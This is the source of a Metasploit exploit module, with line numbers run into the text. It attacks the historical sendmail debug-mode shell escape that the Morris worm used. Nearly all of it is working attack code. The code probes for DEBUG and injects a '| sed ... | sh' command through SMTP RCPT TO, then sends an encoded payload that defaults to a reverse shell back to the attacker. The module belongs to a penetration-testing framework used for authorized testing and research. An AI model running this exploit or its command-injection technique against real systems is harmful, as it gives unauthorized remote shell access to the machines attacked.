Path: blob/master/modules/exploits/unix/smtp/morris_sendmail_debug.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67# cmd/unix/reverse spams the session with Telnet codes on EOF8Rank = AverageRanking910include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Remote::Expect12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Morris Worm sendmail Debug Mode Shell Escape',19'Description' => %q{20This module exploits sendmail's well-known historical debug mode to21escape to a shell and execute commands in the SMTP RCPT TO command.2223This vulnerability was exploited by the Morris worm in 1988-11-02.24Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.2526Currently, only cmd/unix/reverse and cmd/unix/generic are supported.27},28'Author' => [29'Robert Tappan Morris', # Exploit and worm for sure30'Cliff Stoll', # The Cuckoo's Egg inspiration31'wvu' # Module and additional research32],33'References' => [34['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History35['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis36['URL', 'https://github.com/arialdomartini/morris-worm'], # Source37['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup38],39'DisclosureDate' => '1988-11-02',40'License' => MSF_LICENSE,41'Platform' => 'unix',42'Arch' => ARCH_CMD,43'Privileged' => false, # DefUid in src/conf.c, usually "daemon"44'Payload' => { 'Compat' => { 'RequiredCmd' => 'generic telnet' } },45'Targets' => [46# https://en.wikipedia.org/wiki/Source_Code_Control_System47['@(#)version.c 5.51 (Berkeley) 5/2/86', {}]48],49'DefaultTarget' => 0,50'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options([Opt::RPORT(25)])6061register_advanced_options([62OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])63])64end6566def check67checkcode = CheckCode::Safe6869connect70res = sock.get_once7172return CheckCode::Unknown unless res7374if res =~ /^220.*Sendmail/75checkcode = CheckCode::Detected76end7778sock.put("DEBUG\r\n")79res = sock.get_once8081return checkcode unless res8283if res.start_with?('200 Debug set')84checkcode = CheckCode::Appears85end8687checkcode88rescue EOFError, Rex::ConnectionError => e89vprint_error(e.message)90CheckCode::Unknown91ensure92disconnect93end9495def exploit96# We don't care who the user is, so randomize it97from = rand_text_alphanumeric(8..42)9899# Strip mail headers with sed(1), pass to sh(1), and ensure a clean exit100to = %("| sed '1,/^$/d' | sh; exit 0")101102# We don't have $PATH, so set one103path = '/bin:/usr/bin:/usr/ucb:/etc'104105sploit = {106nil => /220.*Sendmail/,107'DEBUG' => /200 Debug set/,108"MAIL FROM:<#{from}>" => /250.*Sender ok/,109"RCPT TO:<#{to}>" => /250.*Recipient ok/,110'DATA' => /354 Enter mail.*itself/,111# Indent PATH= so it's not interpreted as a mail header112" PATH=#{path}" => nil,113'export PATH' => nil,114payload.encoded => nil,115'.' => /250 Ok/,116'QUIT' => /221.*closing connection/117}118119print_status('Connecting to sendmail')120connect121122print_status('Enabling debug mode and sending exploit')123sploit.each do |line, pattern|124send_expect(125line,126pattern,127sock: sock,128timeout: datastore['ExpectTimeout'],129newline: "\r\n"130)131end132rescue Rex::ConnectionError => e133fail_with(Failure::Unreachable, e.message)134rescue Timeout::Error => e135fail_with(Failure::TimeoutExpired, e.message)136ensure137disconnect138end139140def on_new_session(session)141print_warning("Do NOT type `exit', or else you may lose further shells!")142print_warning('Hit ^C to abort the session instead, please and thank you')143end144145end146147148